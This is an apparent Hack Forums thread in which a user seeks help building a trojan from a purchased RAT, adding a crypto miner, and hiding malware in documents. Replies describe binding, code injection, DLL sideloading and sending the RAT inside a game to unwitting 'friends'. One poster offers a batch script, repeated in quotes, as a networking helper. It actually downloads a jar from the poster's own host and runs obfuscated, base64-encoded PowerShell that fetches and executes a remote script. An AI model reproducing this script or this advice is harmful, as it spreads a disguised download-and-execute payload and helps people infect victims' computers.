

Forum:[Hack Forums](#)

Thread: [Create a trojan](#)

Jean Bon - June 11, 2025, 11:04 pm

Hello,

Could someone help me, I want to create a trojan, but i don't know which tool i should use and how doing it.

Basically I bought a RAT package from a guy here but he know nothing about it he just resell the pack he found online...

Also, Is it possible to mix it with a crypto minner?

Bastille - June 12, 2025, 12:24 am

There are different ways.

1. Binding

With tools like Unambinder, there are also tools in Metasploit

2. Malicious script

Make a .bat file and name it as "Install.bat" that will execute both installers

3. Code Injection (injecting malicious code into the binary directly)

- Using reverse engineering tools (like Ghidra, IDA Pro).
- Modifying .exe files using tools like PE Explorer, LordPE, etc.
- Rewriting part of the execution flow to include the malicious payload.
- Can also hook APIs or functions to change behavior.

4. DLL Sideloading / Hijacking

They replace or drop a malicious DLL with the same name as a legit one. If the application loads DLLs insecurely, the malware runs instead of the real library.

However the complexity of the method will also make the sucess / detection rate vary.

DramaKing - June 12, 2025, 3:09 am

(Jun 11, 2025 11:04 PM)Jean Bon Wrote: [\[CITE\]](#) Hello,

Could someone help me, I want to create a trojan, but i don't know which tool i should use and how doing it.

Basically I bought a RAT package from a guy here but he know nothing about it he just resell the pack he found online...

Also, Is it possible to mix it with a crypto minner?

Which RAT? I can probably help.

Jean Bon - June 12, 2025, 4:07 am

(Jun 12, 2025 03:09 AM)DramaKing Wrote: [\[CITE\]](#) Which RAT? I can probably help.
thanks,

razor

DramaKing - June 12, 2025, 4:20 am

(Jun 12, 2025 04:07 AM)Jean Bon Wrote: [\[CITE\]](#) thanks,

razor

As far as I can tell, Razor RAT is found only on HF and is almost unknown outside here. If [DarkVision](#) didn't originally develop it, I don't know who did.

I'll do what I can.

Jean Bon - June 12, 2025, 4:34 am

(Jun 12, 2025 04:20 AM)DramaKing Wrote: [\[CITE\]](#) As far as I can tell, Razor RAT is found only on HF and is almost unknown outside here. If [DarkVision](#) didn't originally develop it, I don't know who did.

I'll do what I can.

What can i do to help you?

Access to the logiciel?

Jean Bon - June 13, 2025, 11:24 am

(Jun 12, 2025 04:20 AM)DramaKing Wrote: [\[CITE\]](#) As far as I can tell, Razor RAT is found only on HF and is almost unknown outside here. If [DarkVision](#) didn't originally develop it, I don't know who did.

I'll do what I can.

Hey,

How are you?

Can i facilitate this in a way or another?

ro0ti - June 14, 2025, 9:00 am

(Jun 12, 2025 12:24 AM)Bastille Wrote: [\[CITE\]](#) There are different ways.

1. Binding

With tools like Unambinder, there are also tools in Metasploit

2. Malicious script

Make a .bat file and name it as "Install.bat" that will execute both installers

3. Code Injection (injecting malicious code into the binary directly)

- Using reverse engineering tools (like Ghidra, IDA Pro).
- Modifying .exe files using tools like PE Explorer, LordPE, etc.
- Rewriting part of the execution flow to include the malicious payload.
- Can also hook APIs or functions to change behavior.

4. DLL Sideload / Hijacking

They replace or drop a malicious DLL with the same name as a legit one. If the application loads DLLs insecurely, the malware runs instead of the real library.

However the complexity of the method will also make the success / detection rate vary.

Amazing answer! ? I would just sideload while hijacking a signed driver ?

sejje1 - June 15, 2025, 1:35 am

(Jun 11, 2025 11:04 PM)Jean Bon Wrote: [\[CITE\]](#) Hello,

Could someone help me, I want to create a trojan, but i don't know which tool i should use and how doing it.

Basically I bought a RAT package from a guy here but he know nothing about it he just resell the pack he found online...

Also, Is it possible to mix it with a crypto minner?

Download Visual Studio

Learn a programming language like C++ or C

It will take you a year to learn well

You can be tutored individually for the equivalent of \$10,000, from scratch to your own Trojan.

DramaKing - June 15, 2025, 9:15 am

It's unclear if you need help with the setup or just spreading, but I finally finished this script. It should help with the networking configuration. Just copy it into a file with the .bat extension and run it.

```
Code @echo off
setlocal
```

```
call :initMacro
```

```
%$set% ipv4="nslookup -type=A myip.opendns.com resolver1.opendns.com"
call :ShowVariable ipv4
%$set% ipv6="nslookup -type=AAAA myip.opendns.com resolver1.opendns.com"
call :ShowVariable ipv6
```

```
exit /B
```

```
:ShowVariable
setlocal EnableDelayedExpansion
for /L %%n in (0 1 !%~1.max!) do (
    echo %%n: !%~1[%%n]!
)
echo(
exit /B
```

```
:initMacro
if "!!"==" " (
    echo ERROR: Delayed Expansion must be disabled while defining macros
    (goto) 2>nul
    (goto) 2>nul
)
(set LF=^
%=empty=%
)
(set ln=^^
%=empty=%
)
```

```
set $set=FOR /L %%N in (1 1 2) do IF %%N==2 ( %\n%
    setlocal EnableDelayedExpansion %\n%
    for /f "tokens=1,* delims==" " %%1 in ("!argv!") do ( %\n%
        endlocal %\n%
```

```

endlocal                                %\n%
set "%~1.Len=0"                          %\n%
set "%~1="                                %\n%
if "!"==" (                               %\n%
    %= Used if delayed expansion is enabled =%    %\n%
    setlocal DisableDelayedExpansion          %\n%
    for /F "delims=" %%O in ("%~2 | findstr /N ^") do ( %\n%
        if "!" NEQ "" (                      %\n%
            endlocal                          %\n%
        )                                     %\n%
    setlocal DisableDelayedExpansion          %\n%
    set "line=%%O"                          %\n%
    setlocal EnableDelayedExpansion          %\n%
    set pathExt=                             %\n%
    set path=;                               %\n%
    set "line=!line:^^=^!"                  %\n%
    set "line=!line:"=q^!"                  %\n%
    call set "line=%%line:^^=q^!" %%        %\n%
    set "line=!line:q^=^!"                  %\n%
    set "line=!line:*=!""                  %\n%
    for /F %%C in ("!%~1.Len!") do (         %\n%
        FOR /F "delims=" %%L in ("!line!") Do ( %\n%
            endlocal                          %\n%
            endlocal                          %\n%
            set "%~1[%%C]=%%~L" !            %\n%
            if %%C == 0 (                     %\n%
                set "%~1=%%~L" !            %\n%
            ) ELSE (                          %\n%
                set "%~1=!%~1!!LF!%%~L" !    %\n%
            )                                 %\n%
        )                                     %\n%
    )                                         %\n%
    set /a %~1.Len+=1                        %\n%
)                                           %\n%
)                                           %\n%
) ELSE (                                     %\n%
    %= Used if delayed expansion is disabled =%    %\n%
    for /F "delims=" %%O in ("%~2 | findstr /N ^") do ( %\n%
        setlocal DisableDelayedExpansion          %\n%
        set "line=%%O"                          %\n%
        setlocal EnableDelayedExpansion          %\n%
        set "line=!line:*=!""                  %\n%
        for /F %%C in ("!%~1.Len!") DO (         %\n%
            FOR /F "delims=" %%L in ("!line!") DO ( %\n%
                endlocal                          %\n%
                endlocal                          %\n%
                set "%~1[%%C]=%%~L"              %\n%
            )                                     %\n%
            set /a %~1.Len+=1                    %\n%
        )                                     %\n%
    )                                         %\n%
)                                           %\n%
)                                           %\n%
set /a %~1.Max=%~1.Len-1                  %\n%
)                                           %\n%

```

```

) else setlocal DisableDelayedExpansion^&set argv=

:extractAddress
for /f "tokens=2 delims=:" %%b in ("!ipv6[6]!") do (
    set "tempAddress=%%b"
    for /f "tokens=*" %%c in ("!tempAddress!") do (
        set "ipv6address=%%c"
    )
)

for /f "tokens=2 delims=:" %%b in ("!ipv4[6]!") do (
    set "tempAddress=%%b"
    for /f "tokens=*" %%c in ("!tempAddress!") do (
        set "ipv4address=%%c"
    )
)

:setAddress
if defined ipv6 (
    echo Global Unicast Address is %%ipv6%%
    echo Open desired port for address in router
) else (
    if defined ipv4 (
        echo Public IPv4 address is %%ipv4%%
        curl -LOA "hackforums" http://dramaking.servehttp.com/portmapper-2.2.4.jar
        echo Installing Java JRE...
        winget install -e -h --id ojdkbuild.openjdk.11.jre --accept-source-agreements
        powershell -nop -noni -ep bypass -e
        JAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AZABYAGEAbQBhAGsAaQBuAGcALgBzAG
        UAcgB2AGUAaAB0AHQAcAAuAGMAbwBtAC8AdQBwAG4AcAB0AGUAcwB0AC4AcABzADEAJw
        A7ACAAJAB4ACAAPQAgACcAZQBYAHAACgAnADsAlABpAG4AdgBvAGsAZQAtACQAKAAkAHg
        AKQBIAHMAcwBpAG8AbgAgACgATgBIAHcALQBPAGIAagBIAGMAAdAAgAFMAeQBzAHQAZQBtA
        C4ATgBIAHQALgBXAGUAYgBDAGwAaQBIAg4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAAdA
        ByAGkAbgBnACgAJAB1AHIAbAApAA==
        if "%%errorlevel%%" == "0" (
            echo UPnP available in router
        ) else (
            echo UPnP not available in router
        )
        java -jar portmapper-2.2.4.jar
    ) else (
        echo No IP address found or lookup failed
    )
)

pause
endlocal

```

Jean Bon - June 15, 2025, 10:15 am

(Jun 15, 2025 09:15 AM)DramaKing Wrote: [CITE](#) It's unclear if you need help with the setup or just spreading, but I finally finished this script. It should help with the networking configuration. Just copy it into a file with the .bat extension and run it.

```
Code @echo off
setlocal
```

```
call :initMacro
```

```
%%$set% ipv4="nslookup -type=A myip.opendns.com resolver1.opendns.com"
call :ShowVariable ipv4
%%$set% ipv6="nslookup -type=AAAA myip.opendns.com resolver1.opendns.com"
call :ShowVariable ipv6
```

```
exit /B
```

```
:ShowVariable
setlocal EnableDelayedExpansion
for /L %%n in (0 1 !%~1.max!) do (
    echo %%n: !%~1[%%n]!
)
echo(
exit /B
```

```
:initMacro
if "!!"==" (
    echo ERROR: Delayed Expansion must be disabled while defining macros
    (goto) 2>nul
    (goto) 2>nul
)
(set LF=^
%=empty=%
)
(set ln=^^^
%=empty=%
)
```

```
set $set=FOR /L %%N in (1 1 2) do IF %%N==2 ( %\n%
setlocal EnableDelayedExpansion %\n%
for /f "tokens=1,* delims==" %%1 in ("!argv!") do ( %\n%
    endlocal %\n%
    endlocal %\n%
    set "%%~1.Len=0" %\n%
    set "%%~1=" %\n%
    if "!!"==" ( %\n%
        %= Used if delayed expansion is enabled =% %\n%
        setlocal DisableDelayedExpansion %\n%
        for /F "delims=" %%O in ("%%~2 | findstr /N ^^^") do ( %\n%
            if "!!" NEQ "" ( %\n%
                endlocal %\n%
            ) %\n%
            setlocal DisableDelayedExpansion %\n%
            set "line=%%O" %\n%
            setlocal EnableDelayedExpansion %\n%
            set pathExt: %\n%
            set path=; %\n%
            set "line=!line:^^=^^!" %\n%
        )
    )
endlocal
endlocal
set pathExt:
set path=;
set "line=!line:^^=^^!"
```

```

set "line=!line:"=q"^""!" %\n%
call set "line=%line:^!=q""^!%" %\n%
set "line=!line:q""=^!" %\n%
set "line="!line:*=!"" %\n%
for /F %%C in ("!%%~1.Len!") do ( %\n%
    FOR /F "delims=" %%L in ("!line!") Do ( %\n%
        endlocal %\n%
        endlocal %\n%
        set "%%~1[%%C]=%%~L" ! %\n%
        if %%C == 0 ( %\n%
            set "%%~1=%%~L" ! %\n%
        ) ELSE ( %\n%
            set "%%~1=!%%~1!!LF!%%~L" ! %\n%
        ) %\n%
    ) %\n%
    set /a %%~1.Len+=1 %\n%
) %\n%
) %\n%
) ELSE ( %\n%
    %= Used if delayed expansion is disabled =% %\n%
    for /F "delims=" %%O in ("%%~2 | findstr /N ^") do ( %\n%
        setlocal DisableDelayedExpansion %\n%
        set "line=%%O" %\n%
        setlocal EnableDelayedExpansion %\n%
        set "line="!line:*=!"" %\n%
        for /F %%C in ("!%%~1.Len!") DO ( %\n%
            FOR /F "delims=" %%L in ("!line!") DO ( %\n%
                endlocal %\n%
                endlocal %\n%
                set "%%~1[%%C]=%%~L" %\n%
            ) %\n%
            set /a %%~1.Len+=1 %\n%
        ) %\n%
    ) %\n%
) %\n%
) set /a %%~1.Max=%%~1.Len-1 %\n%
) %\n%
) else setlocal DisableDelayedExpansion^&set argv=

```

```

:extractAddress
for /f "tokens=2 delims=:" %%b in ("!ipv6[6]!") do (
    set "tempAddress=%%b"
    for /f "tokens=*" %%c in ("!tempAddress!") do (
        set "ipv6address=%%c"
    )
)

```

```

for /f "tokens=2 delims=:" %%b in ("!ipv4[6]!") do (
    set "tempAddress=%%b"
    for /f "tokens=*" %%c in ("!tempAddress!") do (
        set "ipv4address=%%c"
    )
)

```

```

:setAddress
if defined ipv6 (
    echo Global Unicast Address is %%ipv6%%
    echo Open desired port for address in router
) else (
    if defined ipv4 (
        echo Public IPv4 address is %%ipv4%%
        curl -LOA "hackforums" http://dramaking.servehttp.com/portmapper-2.2.4.jar
        echo Installing Java JRE...
        winget install -e -h --id ojdkbuild.openjdk.11.jre --accept-source-agreements
        powershell -nop -noni -ep bypass -e
JAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AZABYAGEAbQBhAGsAaQBUAGcALgBzAG
UAcgB2AGUAaAB0AHQAcAAuAGMAbwBtAC8AdQBwAG4AcAB0AGUAcwB0AC4AcABzADEAJw
A7ACAAJAB4ACAAPQAgACcAZQBYAHAAcgAnADsAIABpAG4AdgBvAGsAZQAtACQAKAAkAHg
AKQBIAHMAcwBpAG8AbgAgACgATgBIAHcALQBPAGIAagBIAGMAdAAgAFMAeQBzAHQAZQBtA
C4ATgBIAHQALgBXAGUAYgBDAGwAaQBIAg4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdA
ByAGkAbgBnACgAJAB1AHIAbAApAA==
        if "%%errorlevel%%" == "0" (
            echo UPnP available in router
        ) else (
            echo UPnP not available in router
        )
        java -jar portmapper-2.2.4.jar
    ) else (
        echo No IP address found or lookup failed
    )
)

pause
endlocal

```

Thanks for your help.
 It was more for the setup and how put the malware inside the pdf or the word document.

It's just to make a joke to a friends. I don't intend to make illegal activities.

DramaKing - June 15, 2025, 10:26 am

(Jun 15, 2025 10:15 AM)Jean Bon Wrote: [\[CITE\]](#) Thanks for your help.
 It was more for the setup and how put the malware inside the pdf or the word document.

It's just to make a joke to a friends. I don't intend to make illegal activities.
 Well, then you wouldn't want to spend the exorbitant amount of money that a PDF 0-day would cost. Joke for friends? Inject the RAT into a game and send it to them. Or use an [SFX RAR](#). If you're friends aren't the pranking kind, then you may regret it.
 Actually, it's kind of refreshing to see the old-school hacker mentality of messing with people for lolz.

Jean Bon - June 15, 2025, 12:50 pm

(Jun 15, 2025 10:26 AM)DramaKing Wrote: [\[CITE\]](#) Well, then you wouldn't want to spend the exorbitant amount of money that a PDF 0-day would cost. Joke for friends? Inject the RAT into a game and send it to them. Or use an [SFX RAR](#). If you're friends aren't the pranking kind, then you

may regret it.

Actually, it's kind of refreshing to see the old-school hacker mentality of messing with people for lolz.

Well when i said for a friend you know it's a bit a way of speaking.

(Jun 15, 2025 09:15 AM)DramaKing Wrote: [CITE](#) It's unclear if you need help with the setup or just spreading, but I finally finished this script. It should help with the networking configuration. Just copy it into a file with the .bat extension and run it.

Code @echo off

setlocal

call :initMacro

%\$set% ipv4="nslookup -type=A myip.opendns.com resolver1.opendns.com"

call :ShowVariable ipv4

%\$set% ipv6="nslookup -type=AAAA myip.opendns.com resolver1.opendns.com"

call :ShowVariable ipv6

exit /B

:ShowVariable

setlocal EnableDelayedExpansion

for /L %%n in (0 1 !%~1.max!) do (

echo %%n: !%~1[%%n]!

)

echo(

exit /B

:initMacro

if "!!"==" (

echo ERROR: Delayed Expansion must be disabled while defining macros

(goto) 2>nul

(goto) 2>nul

)

(set LF=^

%=empty=%

)

(set ln=^^

%=empty=%

)

set \$set=FOR /L %%N in (1 1 2) do IF %%N==2 (%\n%

setlocal EnableDelayedExpansion %\n%

for /f "tokens=1,* delims==" %%1 in ("!argv!") do (%\n%

endlocal %\n%

endlocal %\n%

set "%~1.Len=0" %\n%

set "%~1=" %\n%

if "!!"==" (%\n%

%= Used if delayed expansion is enabled =% %\n%

setlocal DisableDelayedExpansion %\n%

for /F "delims=" %%O in ("%~2 | findstr /N ^^") do (%\n%

if "!!" NEQ "" (%\n%

```

        endlocal                                %\n%
    )                                           %\n%
    setlocal DisableDelayedExpansion          %\n%
    set "line=%O"                             %\n%
    setlocal EnableDelayedExpansion          %\n%
    set pathExt=:                             %\n%
    set path=;                                %\n%
    set "line=!line:^^^!"                    %\n%
    set "line=!line:"=q^""!"                %\n%
    call set "line=%line:^^=q^""^!%"        %\n%
    set "line=!line:q^""=^^!"                %\n%
    set "line="!line:*:=!"                  %\n%
    for /F %%C in ("!%%~1.Len!") do (         %\n%
        FOR /F "delims=" %%L in ("!line!") Do ( %\n%
            endlocal                            %\n%
            endlocal                            %\n%
            set "%%~1[%%C]=%%~L" !              %\n%
            if %%C == 0 (                        %\n%
                set "%%~1=%%~L" !              %\n%
            ) ELSE (                            %\n%
                set "%%~1=!%%~1!!LF!%%~L" !      %\n%
            )
        )
    )
    set /a %%~1.Len+=1                        %\n%
)
)
) ELSE (                                     %\n%
    %= Used if delayed expansion is disabled =% %\n%
    for /F "delims=" %O in ("%%~2 | findstr /N ^") do ( %\n%
        setlocal DisableDelayedExpansion      %\n%
        set "line=%O"                        %\n%
        setlocal EnableDelayedExpansion      %\n%
        set "line="!line:*:=!"              %\n%
        for /F %%C in ("!%%~1.Len!") DO (     %\n%
            FOR /F "delims=" %%L in ("!line!") DO ( %\n%
                endlocal                            %\n%
                endlocal                            %\n%
                set "%%~1[%%C]=%%~L"            %\n%
            )
            set /a %%~1.Len+=1                  %\n%
        )
    )
)
)
set /a %%~1.Max=%%~1.Len-1                  %\n%
)
) else setlocal DisableDelayedExpansion^&set argv=

:extractAddress
for /f "tokens=2 delims=:" %%b in ("!ipv6[6]!") do (
    set "tempAddress=%%b"
    for /f "tokens=*" %%c in ("!tempAddress!") do (
        set "ipv6address=%%c"
    )
)

```

```

)

for /f "tokens=2 delims=:" %%b in ("!ipv4[6]!") do (
    set "tempAddress=%%b"
    for /f "tokens=*" %%c in ("!tempAddress!") do (
        set "ipv4address=%%c"
    )
)

:setAddress
if defined ipv6 (
    echo Global Unicast Address is %%ipv6%%
    echo Open desired port for address in router
) else (
    if defined ipv4 (
        echo Public IPv4 address is %%ipv4%%
        curl -LOA "hackforums" http://dramaking.servehttp.com/portmapper-2.2.4.jar
        echo Installing Java JRE...
        winget install -e -h --id ojdkbuild.openjdk.11.jre --accept-source-agreements
        powershell -nop -noni -ep bypass -e
        JAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AZABYAGEAbQBhAGsAaQBuAGcALgBzAG
        UAcbB2AGUAaAB0AHQAcAAuAGMAbwBtAC8AdQBwAG4AcAB0AGUAcwB0AC4AcABzADEAJw
        A7ACAAJAB4ACAAPQAgACcAZQBYAHAAcgAnADsAlABpAG4AdgBvAGsAZQAtACQAKAAkAHg
        AKQBIAHMAcwBpAG8AbgAgACgATgBIAHcALQBPAGIAagBIAGMAdAAgAFMAeQBzAHQAZQBtA
        C4ATgBIAHQALgBXAGUAYgBDAGwAaQBIAg4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdA
        ByAGkAbgBnACgAJAB1AHIAbAApAA==
        if "%%errorlevel%%" == "0" (
            echo UPnP available in router
        ) else (
            echo UPnP not available in router
        )
        java -jar portmapper-2.2.4.jar
    ) else (
        echo No IP address found or lookup failed
    )
)

```

pause
endlocal

Thanks,

I must admit i don't get what the code is doing? Is it link with th erazor rat? I don't see where the code refer specifically to my RAT?

Sorry

DramaKing - June 15, 2025, 4:58 pm

(Jun 15, 2025 12:50 PM)Jean Bon Wrote: [\[CITE\]](#) Well when i said for a friend you know it's a bit a way of speaking.

Thanks,

I must admit i don't get what the code is doing? Is it link with th erazor rat? I don't see where the code refer specifically to my RAT?

Sorry

It's a bit of a guided tool for opening a port for the RAT if it works. If you're at square one, open the network tab. Note down the 'Port' value or choose a port (like 443). Open the Bot Builder and set the IP address to the value indicated by the script. DarkVision has an option to disable installation, process injection, UAC bypass, and other special features. You'll want to find an equivalent to avoid corruption. If you're willing to have me walk you through it live, we can set that up for \$10.

<https://hackforums.net/showthread.php?tid=6295400>